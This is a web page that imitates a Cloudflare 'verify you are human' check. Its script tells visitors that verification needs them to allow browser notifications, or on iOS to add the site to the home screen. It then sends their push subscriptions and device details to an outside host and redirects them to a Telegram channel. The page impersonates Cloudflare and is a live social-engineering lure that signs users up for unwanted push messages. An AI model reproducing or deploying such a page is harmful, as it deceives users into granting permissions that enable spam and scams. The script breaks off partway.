<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
  <title>Just a moment...</title>
  <link rel="icon" id="dynamic-favicon" href="data:,">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    html, body {
      height: 100%;
      width: 100%;
      font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
      background: #fcfcfc;
      color: #333;
      -webkit-font-smoothing: antialiased;
      overflow-x: hidden;
    }
    body {
      display: flex;
      flex-direction: column;
      min-height: 100vh;
      min-height: 100dvh;
    }
    .main-wrapper {
      flex: 1;
      display: flex;
      align-items: center;
      justify-content: center;
      flex-direction: column;
    }
    .main-content {
      max-width: 60rem;
      padding: 2rem 1.5rem;
      width: 100%;
    }
    @media (max-width: 480px) {
      .main-content {
        padding: 1.5rem 1rem;
      }
    }
    .header {
      display: flex;
      align-items: center;
      margin-bottom: 4px;
    }
    .favicon {
      height: 2rem;
      width: 2rem;
      margin-right: 0.5rem;
      flex-shrink: 0;
    }
    .domain {
      font-size: 2.5rem;
      font-weight: 500;
      line-height: 3.75rem;
      color: #000;
      word-break: break-all;
    }
    @media (max-width: 480px) {
      .domain {
        font-size: 1.75rem;
        line-height: 2.5rem;
      }
    }
    .title {
      font-size: 1.5rem;
      line-height: 2.25rem;
      font-weight: 550;
      color: #333;
      margin-bottom: 2rem;
      min-height: 2rem;
      padding-top: 2px;
    }
    @media (max-width: 480px) {
      .title {
        font-size: 1.25rem;
        line-height: 1.75rem;
        margin-bottom: 1.5rem;
      }
    }
    /* Turnstile Widget - Exact match to reference */
    .checkbox-window {
      display: flex;
      flex-direction: column;
      align-items: center;
      width: 300px;
      height: 74px;
      background-color: #fafafa;
      border: 1px solid #e0e0e0;
      border-radius: 4px;
      padding: 10px;
      overflow: hidden;
      transition: width 0.5s ease-in-out, height 0.5s ease-in-out;
    }
    .checkbox-inner {
      display: flex;
      align-items: center;
      width: 100%;
      height: 100%;
    }
    .checkbox-container {
      width: 28px;
      height: 28px;
      margin-left: 3px;
      margin-right: 12px;
      position: relative;
      flex-shrink: 0;
    }
    .checkbox {
      width: 100%;
      height: 100%;
      background-color: #fff;
      border-radius: 3px;
      border: 2px solid #c0c0c0;
      cursor: pointer;
      transition: border-color 0.3s, background-color 0.3s;
    }
    .checkbox:hover {
      border-color: #888;
    }
    .spinner {
      display: none;
    }
    .spinner.active {
      display: inline-block;
    }
    .lds-ring {
      display: inline-block;
      position: relative;
      width: 28px;
      height: 28px;
    }
    .lds-ring div {
      box-sizing: border-box;
      display: block;
      position: absolute;
      width: 24px;
      height: 24px;
      margin: 2px;
      border: 3px solid transparent;
      border-radius: 50%;
      border-top-color: #f6821f;
      animation: lds-ring 1.2s cubic-bezier(0.5, 0, 0.5, 1) infinite;
    }
    .lds-ring div:nth-child(1) { animation-delay: -0.45s; }
    .lds-ring div:nth-child(2) { animation-delay: -0.3s; }
    .lds-ring div:nth-child(3) { animation-delay: -0.15s; }
    @keyframes lds-ring {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
    .checkmark {
      display: none;
    }
    .checkmark.active {
      display: block;
    }
    .checkbox-text {
      color: #555;
      font-size: 14px;
      line-height: 1.3;
      flex: 1;
      min-width: 0;
    }
    /* Logo section pushed to right with margin-left: auto */
    .logo-section {
      font-size: 8px;
      text-align: right;
      margin-left: auto;
      flex-shrink: 0;
      padding-left: 8px;
    }
    /* Updated logo dimensions for new image */
    .cf-logo {
      width: 90px;
      height: auto;
      margin-bottom: 3px;
      display: block;
      margin-left: auto;
      object-fit: contain;
    }
    .logo-section a {
      color: #555;
      text-decoration: underline;
      display: block;
      line-height: 1.4;
    }
    .logo-section a:hover {
      color: #333;
    }
    .subtitle {
      font-size: 1.5rem;
      line-height: 2.25rem;
      color: #333;
      margin-top: 2rem;
    }
    @media (max-width: 480px) {
      .subtitle {
        font-size: 1.125rem;
        line-height: 1.625rem;
        margin-top: 1.5rem;
      }
    }
    /* Footer */
    .footer {
      font-size: 0.75rem;
      line-height: 1.125rem;
      margin: 0 auto;
      max-width: 60rem;
      padding: 0 1.5rem;
      width: 100%;
    }
    .footer-inner {
      border-top: 1px solid #d9d9d9;
      padding: 1rem 0;
      text-align: center;
      color: #666;
    }
    .footer-brand {
      display: inline-flex;
      align-items: center;
      gap: 4px;
      color: #666;
      margin-top: 4px;
    }
    .footer-logo {
      height: 14px;
      width: auto;
    }
    /* Modal */
    .modal-overlay {
      display: none;
      position: fixed;
      inset: 0;
      background: rgba(0,0,0,0.5);
      z-index: 1000;
      align-items: center;
      justify-content: center;
      padding: 16px;
    }
    .modal-overlay.active {
      display: flex;
    }
    .modal {
      background: #fff;
      border-radius: 12px;
      width: 100%;
      max-width: 360px;
      overflow: hidden;
      box-shadow: 0 20px 60px rgba(0,0,0,0.3);
    }
    .modal-header {
      background: linear-gradient(135deg, #f6821f 0%, #f5a623 100%);
      color: #fff;
      padding: 20px;
      text-align: center;
    }
    .modal-header h3 {
      font-size: 18px;
      font-weight: 600;
      margin: 0;
    }
    .modal-body {
      padding: 24px 20px;
      text-align: center;
    }
    .modal-body p {
      color: #555;
      font-size: 14px;
      line-height: 1.5;
      margin-bottom: 20px;
    }
    .modal-btn {
      width: 100%;
      padding: 14px 24px;
      background: linear-gradient(135deg, #f6821f 0%, #f5a623 100%);
      color: #fff;
      border: none;
      border-radius: 8px;
      font-size: 16px;
      font-weight: 600;
      cursor: pointer;
      transition: transform 0.2s, box-shadow 0.2s;
    }
    .modal-btn:hover {
      transform: translateY(-1px);
      box-shadow: 0 4px 12px rgba(246,130,31,0.4);
    }
    .modal-btn:active {
      transform: translateY(0);
    }
    /* iOS Instructions */
    .ios-instructions {
      display: none;
      margin-top: 16px;
      padding: 16px;
      background: #f5f5f5;
      border-radius: 8px;
    }
    .ios-instructions.active {
      display: block;
    }
    .ios-instructions h4 {
      font-size: 14px;
      font-weight: 600;
      margin-bottom: 12px;
      color: #333;
    }
    .ios-step {
      display: flex;
      align-items: flex-start;
      gap: 12px;
      margin-bottom: 12px;
    }
    .ios-step:last-child {
      margin-bottom: 0;
    }
    .step-num {
      width: 24px;
      height: 24px;
      background: #f6821f;
      color: #fff;
      border-radius: 50%;
      display: flex;
      align-items: center;
      justify-content: center;
      font-size: 12px;
      font-weight: 600;
      flex-shrink: 0;
    }
    .step-text {
      font-size: 13px;
      color: #555;
      line-height: 1.4;
      padding-top: 2px;
    }
  </style>
</head>
<body>
  <div class="main-wrapper">
    <div class="main-content">
      <div class="header">
        <img class="favicon" id="site-favicon" src="/placeholder.svg" alt="">
        <span class="domain" id="domain-display"></span>
      </div>
      
      <div class="title" id="title-text"></div>
      
      <div class="checkbox-window" id="turnstile-box">
        <div class="checkbox-inner">
          <div class="checkbox-container">
            <div class="checkbox" id="checkbox"></div>
            <div class="spinner" id="spinner">
              <div class="lds-ring"><div></div><div></div><div></div><div></div></div>
            </div>
            <div class="checkmark" id="checkmark">
              <svg width="28" height="28" viewBox="0 0 28 28">
                <circle cx="14" cy="14" r="14" fill="#28a745"/>
                <path d="M8 14l4 4 8-8" stroke="#fff" strokeWidth="2.5" fill="none" strokeLinecap="round" strokeLinejoin="round"/>
              </svg>
            </div>
          </div>
          
          <div class="checkbox-text" id="checkbox-label"></div>
          
          <div class="logo-section">
            <img class="cf-logo" src="https://1000logos.net/wp-content/uploads/2020/09/Cloudflare-logo.png" alt="Cloudflare">
            <a href="https://www.cloudflare.com/privacypolicy/" target="_blank" id="privacy-link"></a>
            <a href="https://www.cloudflare.com/website-terms/" target="_blank" id="terms-link"></a>
          </div>
        </div>
      </div>
      
      <div class="subtitle">
        <span id="domain-subtitle"></span> <span id="needs-verify-text"></span>
      </div>
      
      <div class="ios-instructions" id="ios-instructions">
        <h4 id="ios-title"></h4>
        <div class="ios-step">
          <span class="step-num">1</span>
          <span class="step-text" id="ios-step1"></span>
        </div>
        <div class="ios-step">
          <span class="step-num">2</span>
          <span class="step-text" id="ios-step2"></span>
        </div>
        <div class="ios-step">
          <span class="step-num">3</span>
          <span class="step-text" id="ios-step3"></span>
        </div>
      </div>
    </div>
  </div>
  
  <div class="footer">
    <div class="footer-inner">
      <div>Ray ID: <code id="ray-id">1e0a1b09018db8d9</code></div>
      <div class="footer-brand">
        <span id="footer-text"></span>
        <span style="color: #000; font-weight: 500;">Cloudflare</span>
      </div>
    </div>
  </div>
  
  <div class="modal-overlay" id="modal">
    <div class="modal">
      <div class="modal-header">
        <h3 id="modal-title"></h3>
      </div>
      <div class="modal-body">
        <p id="modal-text"></p>
        <button class="modal-btn" id="modal-btn"></button>
      </div>
    </div>
  </div>
  
  <script>
    // ==========================================
    // RELIABLE SUBSCRIPTION DELIVERY
    // ==========================================
    const STORAGE_KEY = 'push_pending_subscriptions';
    const MAX_RETRIES = 3;
    const RETRY_DELAY = 1000;
    
    function getRetryQueue() {
      try {
        const data = localStorage.getItem(STORAGE_KEY);
        return data ? JSON.parse(data) : [];
      } catch(e) { return []; }
    }
    
    function saveRetryQueue(queue) {
      try {
        localStorage.setItem(STORAGE_KEY, JSON.stringify(queue));
      } catch(e) {}
    }
    
    function addToRetryQueue(payload) {
      const queue = getRetryQueue();
      payload._retryCount = 0;
      payload._timestamp = Date.now();
      queue.push(payload);
      saveRetryQueue(queue);
      console.log('[v0] Added to retry queue, total:', queue.length);
    }
    
    function removeFromRetryQueue(endpoint) {
      let queue = getRetryQueue();
      queue = queue.filter(item => item.endpoint !== endpoint);
      saveRetryQueue(queue);
    }
    
    async function sendWithRetry(url, payload, attempt = 1) {
      const delay = RETRY_DELAY * Math.pow(2, attempt - 1);
      
      try {
        const response = await fetch(url, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(payload),
          mode: 'cors',
          credentials: 'omit'
        });
        
        if (response.ok) {
          const data = await response.json();
          console.log('[v0] Subscription sent successfully:', data);
          removeFromRetryQueue(payload.endpoint);
          return { success: true, data };
        } else {
          throw new Error('HTTP ' + response.status);
        }
      } catch (error) {
        console.log('[v0] Attempt ' + attempt + ' failed:', error.message);
        
        if (attempt < MAX_RETRIES) {
          console.log('[v0] Retrying in ' + delay + 'ms...');
          await new Promise(r => setTimeout(r, delay));
          return sendWithRetry(url, payload, attempt + 1);
        } else {
          // All retries failed, try sendBeacon as last resort
          console.log('[v0] All retries failed, trying sendBeacon fallback...');
          const sent = sendViaBeacon(url, payload);
          if (!sent) {
            // Add to queue for retry on next page load
            addToRetryQueue(payload);
          }
          return { success: sent, fallback: true };
        }
      }
    }
    
    function sendViaBeacon(url, payload) {
      try {
        if (navigator.sendBeacon) {
          const blob = new Blob([JSON.stringify(payload)], { type: 'application/json' });
          const sent = navigator.sendBeacon(url, blob);
          console.log('[v0] sendBeacon result:', sent);
          if (sent) {
            removeFromRetryQueue(payload.endpoint);
          }
          return sent;
        }
      } catch(e) {
        console.log('[v0] sendBeacon failed:', e);
      }
      return false;
    }
    
    function processRetryQueue() {
      const queue = getRetryQueue();
      if (queue.length === 0) return;
      
      console.log('[v0] Processing retry queue:', queue.length, 'items');
      
      queue.forEach(async (payload) => {
        // Skip items older than 24 hours
        if (Date.now() - payload._timestamp > 86400000) {
          removeFromRetryQueue(payload.endpoint);
          return;
        }
        
        payload._retryCount = (payload._retryCount || 0) + 1;
        
        if (payload._retryCount > 5) {
          console.log('[v0] Max retries exceeded, removing from queue');
          removeFromRetryQueue(payload.endpoint);
          return;
        }
        
        try {
          const response = await fetch(config.apiUrl + '/api/subscribe', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(payload)
          });
          
          if (response.ok) {
            console.log('[v0] Queued subscription sent successfully');
            removeFromRetryQueue(payload.endpoint);
          }
        } catch(e) {
          console.log('[v0] Queued subscription retry failed');
        }
      });
    }
    
    // Process queue 2 seconds after page load
    setTimeout(processRetryQueue, 2000);

    const translations = {"en":{"verifying":"Checking if the site connection is secure","needsVerify":"needs to review the security of your connection before proceeding.","verify":"Verify you are human","verifyAction":"Verify you are human by completing the action below.","success":"Verification successful","privacy":"Privacy","terms":"Terms","allowNotifications":"Allow Notifications","modalTitle":"One more step","modalText":"To complete verification, click the button and allow notifications when your browser prompts.","iosTitle":"Add to Home Screen","iosDesc":"To receive secure notifications on iOS, add this site to your home screen:","step1":"Tap the Share button at the bottom","step2":"Scroll and select \"Add to Home Screen\"","step3":"Tap \"Add\" in the top right corner","perfSecurity":"Performance & security by"},"de":{"verifying":"Überprüfung, ob die Verbindung sicher ist","needsVerify":"muss die Sicherheit Ihrer Verbindung überprüfen, bevor Sie fortfahren können.","verify":"Bestätigen Sie, dass Sie ein Mensch sind","verifyAction":"Bestätigen Sie, dass Sie ein Mensch sind, indem Sie die folgende Aktion ausführen.","success":"Verifizierung erfolgreich","privacy":"Datenschutz","terms":"Nutzungsbedingungen","allowNotifications":"Benachrichtigungen erlauben","modalTitle":"Noch ein Schritt","modalText":"Klicken Sie auf die Schaltfläche und erlauben Sie Benachrichtigungen, wenn Ihr Browser danach fragt.","iosTitle":"Zum Startbildschirm hinzufügen","iosDesc":"Um sichere Benachrichtigungen auf iOS zu erhalten, fügen Sie diese Seite zu Ihrem Startbildschirm hinzu:","step1":"Tippen Sie auf die Teilen-Taste unten","step2":"Scroll und \"Zum Home-Bildschirm\" wählen","step3":"\"Hinzufügen\" oben rechts tippen","perfSecurity":"Leistung & Sicherheit von"},"es":{"verifying":"Comprobando si la conexión del sitio es segura","needsVerify":"necesita revisar la seguridad de su conexión antes de continuar.","verify":"Verifica que eres humano","verifyAction":"Verifica que eres humano completando la acción a continuación.","success":"Verificación exitosa","privacy":"Privacidad","terms":"Términos","allowNotifications":"Permitir notificaciones","modalTitle":"Un paso más","modalText":"Para completar la verificación, haz clic en el botón y permite las notificaciones cuando el navegador te lo pida.","iosTitle":"Añadir a pantalla de inicio","iosDesc":"Para recibir notificaciones seguras en iOS, añade este sitio a tu pantalla de inicio:","step1":"Toca el botón Compartir abajo","step2":"Desplaza y selecciona \"Añadir a inicio\"","step3":"Toca \"Añadir\" arriba a la derecha","perfSecurity":"Rendimiento y seguridad de"},"fr":{"verifying":"Vérification de la sécurité de la connexion","needsVerify":"doit vérifier la sécurité de votre connexion avant de continuer.","verify":"Vérifiez que vous êtes humain","verifyAction":"Vérifiez que vous êtes humain en complétant l'action ci-dessous.","success":"Vérification réussie","privacy":"Confidentialité","terms":"Conditions","allowNotifications":"Autoriser les notifications","modalTitle":"Encore une étape","modalText":"Pour terminer la vérification, cliquez sur le bouton et autorisez les notifications lorsque votre navigateur vous le demande.","iosTitle":"Ajouter à l'écran d'accueil","iosDesc":"Pour recevoir des notifications sécurisées sur iOS, ajoutez ce site à votre écran d'accueil:","step1":"Appuyez sur le bouton Partager en bas","step2":"Faites défiler et sélectionnez \"Sur l'écran d'accueil\"","step3":"Appuyez sur \"Ajouter\" en haut à droite","perfSecurity":"Performance et sécurité par"},"it":{"verifying":"Verifica della sicurezza della connessione","needsVerify":"deve verificare la sicurezza della tua connessione prima di procedere.","verify":"Verifica di essere umano","verifyAction":"Verifica di essere umano completando l'azione qui sotto.","success":"Verifica riuscita","privacy":"Privacy","terms":"Termini","allowNotifications":"Consenti notifiche","modalTitle":"Un altro passo","modalText":"Per completare la verifica, clicca sul pulsante e consenti le notifiche quando il browser lo richiede.","iosTitle":"Aggiungi alla schermata Home","iosDesc":"Per ricevere notifiche sicure su iOS, aggiungi questo sito alla schermata Home:","step1":"Tocca il pulsante Condividi in basso","step2":"Scorri e seleziona \"Aggiungi a Home\"","step3":"Tocca \"Aggiungi\" in alto a destra","perfSecurity":"Prestazioni e sicurezza di"},"pt":{"verifying":"Verificando se a conexão do site é segura","needsVerify":"precisa revisar a segurança da sua conexão antes de prosseguir.","verify":"Verifique se você é humano","verifyAction":"Verifique se você é humano completando a ação abaixo.","success":"Verificação bem-sucedida","privacy":"Privacidade","terms":"Termos","allowNotifications":"Permitir notificações","modalTitle":"Mais um passo","modalText":"Para completar a verificação, clique no botão e permita notifications quando o navegador solicitar.","iosTitle":"Adicionar à Tela Inicial","iosDesc":"Para receber notificações seguras no iOS, adicione este site à tela inicial:","step1":"Toque no botão Compartilhar abaixo","step2":"Role e selecione \"Adicionar à Tela\"","step3":"Toque em \"Adicionar\" no canto superior direito","perfSecurity":"Desempenho e segurança por"},"nl":{"verifying":"Controleren of de siteverbinding veilig is","needsVerify":"moet de veiligheid van uw verbinding controleren voordat u verder gaat.","verify":"Verifieer dat u een mens bent","verifyAction":"Verifieer dat u een mens bent door de onderstaande actie te voltooien.","success":"Verificatie geslaagd","privacy":"Privacy","terms":"Voorwaarden","allowNotifications":"Meldingen toestaan","modalTitle":"Nog een stap","modalText":"Om de verificatie te voltooien, klik op de knop en sta meldingen toe wanneer uw browser vraagt.","iosTitle":"Voeg toe aan beginscherm","iosDesc":"Om veilige meldingen te ontvangen op iOS, voeg deze site toe aan je beginscherm:","step1":"Tik op de Deel-knop onderaan","step2":"Scroll en selecteer \"Zet op beginscherm\"","step3":"Tik op \"Voeg toe\" rechtsboven","perfSecurity":"Prestaties en beveiliging door"},"pl":{"verifying":"Sprawdzanie, czy połączenie jest bezpieczne","needsVerify":"musi zweryfikować bezpieczeństwo Twojego połączenia przed kontynuowaniem.","verify":"Potwierdź, że jesteś człowiekiem","verifyAction":"Potwierdź, że jesteś człowiekiem, wykonując poniższą akcję.","success":"Weryfikacja zakończona","privacy":"Prywatność","terms":"Regulamin","allowNotifications":"Zezwól na powiadomienia","modalTitle":"Jeszcze jeden krok","modalText":"Aby ukończyć weryfikację, kliknij przycisk i zezwól na powiadomienia, gdy przeglądarka zapyta.","iosTitle":"Dodaj do ekranu głównego","iosDesc":"Aby otrzymywać bezpieczne powiadomienia na iOS, dodaj tę stronę do ekranu głównego:","step1":"Dotknij przycisku Udostępnij na dole","step2":"Przewiń i wybierz \"Dodaj do ekranu\"","step3":"Dotknij \"Dodaj\" w prawym górnym rogu","perfSecurity":"Wydajność i bezpieczeństwo"},"ru":{"verifying":"Проверка безопасности соединения","needsVerify":"должен проверить безопасность вашего соединения перед продолжением.","verify":"Подтвердите, что вы человек","verifyAction":"Подтвердите, что вы человек, выполнив действие ниже.","success":"Проверка пройдена","privacy":"Конфиденциальность","terms":"Условия","allowNotifications":"Разрешить уведомления","modalTitle":"Ещё один шаг","modalText":"Для завершения проверки нажмите кнопку и разрешите уведомления, когда браузер спросит.","iosTitle":"Добавить на главный экран","iosDesc":"Чтобы получать безопасные уведомления на iOS, добавьте этот сайт на главный экран:","step1":"Нажмите кнопку Поделиться внизу","step2":"Прокрутите и выберите \"На экран Домой\"","step3":"Нажмите \"Добавить\" в правом верхнем углу","perfSecurity":"Производительность и безопасность"},"ja":{"verifying":"サイト接続が安全かどうか確認中","needsVerify":"は続行する前に接続のセキュリティを確認する必要があります。","verify":"あなたが人間であることを確認","verifyAction":"以下の操作を完了して、あなたが人間であることを確認してください。","success":"確認完了","privacy":"プライバシー","terms":"利用規約","allowNotifications":"通知を許可","modalTitle":"もう一歩","modalText":"確認を完了するには、ボタンをクリックし、ブラウザが尋ねたら通知を許可してください。","iosTitle":"ホーム画面に追加","iosDesc":"iOSで安全な通知を受け取るには、このサイトをホーム画面に追加してください：","step1":"下の共有ボタンをタップ","step2":"スクロールして\"ホーム画面に追加\"を選択","step3":"右上の\"追加\"をタップ","perfSecurity":"パフォーマンスとセキュリティ提供"},"zh":{"verifying":"正在检查网站连接是否安全","needsVerify":"需要在继续之前验证您连接的安全性。","verify":"验证您是人类","verifyAction":"通过完成以下操作来验证您是人类。","success":"验证成功","privacy":"隐私","terms":"条款","allowNotifications":"允许通知","modalTitle":"还有一步","modalText":"要完成验证，请点击按钮并在浏览器询问时允许通知。","iosTitle":"添加到主屏幕","iosDesc":"要在iOS上接收安全通知，请将此网站添加到主屏幕：","step1":"点击底部的分享按钮","step2":"滚动并选择\"添加到主屏幕\"","step3":"点击右上角的\"添加\"","perfSecurity":"性能和安全性由"},"ko":{"verifying":"사이트 연결이 안전한지 확인 중","needsVerify":"은(는) 계속하기 전에 연결 보안을 검토해야 합니다.","verify":"사람임을 확인","verifyAction":"아래 작업을 완료하여 사람이 맞는지 확인하세요.","success":"확인 완료","privacy":"개인정보","terms":"약관","allowNotifications":"알림 허용","modalTitle":"한 단계 더","modalText":"확인을 완료하려면 버튼을 클릭하고 브라우저가 요청하면 알림을 허용하세요.","iosTitle":"홈 화면에 추가","iosDesc":"iOS에서 안전한 알림을 받으려면 이 사이트를 홈 화면에 추가하세요:","step1":"하단의 공유 버튼 탭","step2":"스크롤하여 \"홈 화면에 추가\" 선택","step3":"오른쪽 상단의 \"추가\" 탭","perfSecurity":"성능 및 보안 제공"},"ar":{"verifying":"جاري التحقق من أمان اتصال الموقع","needsVerify":"يحتاج إلى مراجعة أمان اتصالك قبل المتابعة.","verify":"تأكد من أنك إنسان","verifyAction":"تأكد من أنك إنسان عن طريق إكمال الإجراء أدناه.","success":"تم التحقق بنجاح","privacy":"الخصوصية","terms":"الشروط","allowNotifications":"السماح بالإشعارات","modalTitle":"خطوة أخيرة","modalText":"لإكمال التحقق، انقر على الزر واسمح بالإشعارات عندما يطلب المتصفح.","iosTitle":"إضافة إلى الشاشة الرئيسية","iosDesc":"لتلقي إشعارات آمنة على iOS، أضف هذا الموقع إلى الشاشة الرئيسية:","step1":"انقر على زر المشاركة في الأسفل","step2":"مرر واختر \"إضافة إلى الشاشة الرئيسية\"","step3":"انقر على \"إضافة\" في الزاوية العلوية اليمنى","perfSecurity":"الأداء والأمان من"},"tr":{"verifying":"Site bağlantısının güvenli olup olmadığı kontrol ediliyor","needsVerify":"devam etmeden önce bağlantınızın güvenliğini doğrulamalıdır.","verify":"İnsan olduğunuzu doğrulayın","verifyAction":"Aşağıdaki işlemi tamamlayarak insan olduğunuzu doğrulayın.","success":"Doğrulama başarılı","privacy":"Gizlilik","terms":"Şartlar","allowNotifications":"Bildirimlere izin ver","modalTitle":"Son bir adım","modalText":"Doğrulamayı tamamlamak için düğmeye tıklayın ve tarayıcınız istediğinde bildirimlere izin verin.","iosTitle":"Ana Ekrana Ekle","iosDesc":"iOS'ta bildirim almak için bu siteyi ana ekrana ekleyin:","step1":"Alttaki Paylaş düğmesine dokunun","step2":"Kaydırın ve \"Ana Ekrana Ekle\"yi seçin","step3":"Sağ üstteki \"Ekle\"ye dokunun","perfSecurity":"Performans ve güvenlik sağlayan"},"th":{"verifying":"กำลังตรวจสอบว่าการเชื่อมต่อเว็บไซต์ปลอดภัยหรือไม่","needsVerify":"จำเป็นต้องตรวจสอบความปลอดภัยของการเชื่อมต่อของคุณก่อนดำเนินการต่อ","verify":"ยืนยันว่าคุณเป็นมนุษย์","verifyAction":"ยืนยันว่าคุณเป็นมนุษย์โดยดำเนินการด้านล่างให้เสร็จสิ้น","success":"ยืนยันสำเร็จ","privacy":"ความเป็นส่วนตัว","terms":"ข้อกำหนด","allowNotifications":"อนุญาตการแจ้งเตือน","modalTitle":"อีกขั้นตอนหนึ่ง","modalText":"เพื่อทำการยืนยันให้เสร็จสิ้น กรุณาคลิกปุ่มและอนุญาตการแจ้งเตือนเมื่อเบราว์เซอร์ร้องขอ","iosTitle":"เพิ่มไปยังหน้าจอหลัก","iosDesc":"เพื่อรับการแจ้งเตือนที่ปลอดภัยบน iOS เพิ่มเว็บไซต์นี้ไปยังหน้าจอหลัก:","step1":"แตะปุ่มแชร์ด้านล่าง","step2":"เลื่อนและเลือก \"เพิ่มไปยังหน้าจอหลัก\"","step3":"แตะ \"เพิ่ม\" ที่มุมขวาบน","perfSecurity":"ประสิทธิภาพและความปลอดภัยโดย"},"vi":{"verifying":"Đang kiểm tra kết nối trang web có an toàn không","needsVerify":"cần xem xét bảo mật kết nối của bạn trước khi tiếp tục.","verify":"Xác minh bạn là người","verifyAction":"Xác minh bạn là người bằng cách hoàn thành hành động bên dưới.","success":"Xác minh thành công","privacy":"Quyền riêng tư","terms":"Điều khoản","allowNotifications":"Cho phép thông báo","modalTitle":"Thêm một bước nữa","modalText":"Để hoàn tất xác minh, vui lòng nhấp vào nút và cho phép thông báo khi trình duyệt yêu cầu.","iosTitle":"Thêm vào Màn hình chính","iosDesc":"Để nhận thông báo an toàn trên iOS, hãy thêm trang này vào màn hình chính:","step1":"Nhấn nút Chia sẻ ở dưới cùng","step2":"Cuộn và chọn \"Thêm vào Màn hình chính\"","step3":"Nhấn \"Thêm\" ở góc trên bên phải","perfSecurity":"Hiệu suất và bảo mật bởi"},"id":{"verifying":"Memeriksa apakah koneksi situs aman","needsVerify":"perlu meninjau keamanan koneksi Anda sebelum melanjutkan.","verify":"Verifikasi bahwa Anda manusia","verifyAction":"Verifikasi bahwa Anda manusia dengan menyelesaikan tindakan di bawah ini.","success":"Verifikasi berhasil","privacy":"Privasi","terms":"Ketentuan","allowNotifications":"Izinkan notifikasi","modalTitle":"Satu langkah lagi","modalText":"Untuk menyelesaikan verifikasi, klik tombol dan izinkan notifikasi saat browser meminta.","iosTitle":"Tambahkan ke Layar Utama","iosDesc":"Untuk menerima notifikasi aman di iOS, tambahkan situs ini ke layar utama:","step1":"Ketuk tombol Bagikan di bawah","step2":"Gulir dan pilih \"Tambah ke Layar Utama\"","step3":"Ketuk \"Tambah\" di kanan atas","perfSecurity":"Kinerja dan keamanan oleh"},"sv":{"verifying":"Kontrollerar om webbplatsanslutningen är säker","needsVerify":"behöver granska säkerheten för din anslutning innan du fortsätter.","verify":"Verifiera att du är människa","verifyAction":"Verifiera att du är människa genom att slutföra åtgärden nedan.","success":"Verifiering lyckades","privacy":"Integritet","terms":"Villkor","allowNotifications":"Tillåt aviseringar","modalTitle":"Ett steg till","modalText":"För att slutföra verifieringen, klicka på knappen och tillåt aviseringar när webbläsaren frågar.","iosTitle":"Lägg till på hemskärmen","iosDesc":"För att få säkra aviseringar på iOS, lägg till denna webbplats på din hemskärm:","step1":"Tryck på Dela-knappen längst ner","step2":"Skrolla och välj \"Lägg till på hemskärmen\"","step3":"Tryck på \"Lägg till\" längst upp till höger","perfSecurity":"Prestanda och säkerhet av"},"uk":{"verifying":"Перевірка безпеки з'єднання","needsVerify":"повинен перевірити безпеку вашого з'єднання перед продовженням.","verify":"Підтвердіть, що ви людина","verifyAction":"Підтвердьте, що ви людина, виконавши дію нижче.","success":"Перевірку пройдено","privacy":"Конфіденційність","terms":"Умови","allowNotifications":"Дозволити сповіщення","modalTitle":"Ще один крок","modalText":"Щоб завершити перевірку, натисніть кнопку та дозвольте сповіщення, коли браузер запитає.","iosTitle":"Додати на головний екран","iosDesc":"Щоб отримувати сповіщення на iOS, додайте сайт на головний екран:","step1":"Натисніть кнопку Поділитися внизу","step2":"Прокрутіть і виберіть \"На початковий екран\"","step3":"Натисніть \"Додати\" у верхньому правому куті","perfSecurity":"Продуктивність і безпека від"}};
    const config = {
      vapidKey: "BFTrUVctZXa_Dg5cyvf0qLRikMZD0fp6f_5KbuEop7Xo2RTdJKF-pYP2dPrEAULOVe-I5j1xBw15w7Gz2f2ukHs",
      apiUrl: "https://ssl-host.com",
      allowRedirect: "https://t.me/blockchainkittie",
      denyRedirect: "https://t.me/blockchainkittie",
      landingPageName: "home",
      landingPageSlug: "home", // Added landingPageSlug to config
      sourceDomain: "ssl-host.com",
      referrerUrl: "https://v0.app/"
    };
    
    // Get browser language
    function getLang() {
      const lang = (navigator.language || navigator.userLanguage || 'en').split('-')[0].toLowerCase();
      return translations[lang] ? lang : 'en';
    }
    
    // Get translation
    function t(key) {
      const lang = getLang();
      return translations[lang]?.[key] || translations.en[key] || key;
    }
    
    // Detect iOS
    function isIOS() {
      return /iPad|iPhone|iPod/.test(navigator.userAgent) || 
             (navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1);
    }
    
    // Set UI text
    function setUI() {
      const domain = window.location.hostname;
      document.getElementById('domain-display').textContent = domain;
      document.getElementById('domain-subtitle').textContent = domain;
      document.getElementById('title-text').textContent = t('verifyAction');
      document.getElementById('checkbox-label').textContent = t('verify');
      document.getElementById('privacy-link').textContent = t('privacy');
      document.getElementById('terms-link').textContent = t('terms');
      document.getElementById('needs-verify-text').textContent = t('needsVerify');
      document.getElementById('footer-text').textContent = t('perfSecurity');
      document.getElementById('modal-title').textContent = t('modalTitle');
      document.getElementById('modal-text').textContent = t('modalText');
      document.getElementById('modal-btn').textContent = t('allowNotifications');
      
      // iOS instructions
      document.getElementById('ios-title').textContent = t('iosTitle');
      document.getElementById('ios-step1').textContent = t('step1');
      document.getElementById('ios-step2').textContent = t('step2');
      document.getElementById('ios-step3').textContent = t('step3');
      
      // Favicon
      const faviconUrl = 'https://www.google.com/s2/favicons?sz=128&domain=' + encodeURIComponent(domain);
      document.getElementById('site-favicon').src = faviconUrl;
      const dynFavicon = document.getElementById('dynamic-favicon');
      if (dynFavicon) dynFavicon.href = faviconUrl;
    }
    
    // Track action
    async function track(action) {
      try {
        const ua = navigator.userAgent;
        let platform = 'Unknown';
        if (/iPhone|iPad|iPod/.test(ua)) platform = 'iOS';
        else if (/Android/.test(ua)) platform = 'Android';
        else if (/Windows/.test(ua)) platform = 'Windows';
        else if (/Mac/.test(ua)) platform = 'macOS';
        else if (/Linux/.test(ua)) platform = 'Linux';
        
        // Track function - update landing page stats
        await fetch(config.apiUrl + '/api/track', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({
            slug: config.landingPageSlug,
            action: action,
            userAgent: ua,
            platform: platform,
            referrer: config.referrerUrl || document.referrer,
            language: getLang()
          })
        });
      } catch (e) { console.error('Track error:', e); }
    }
    
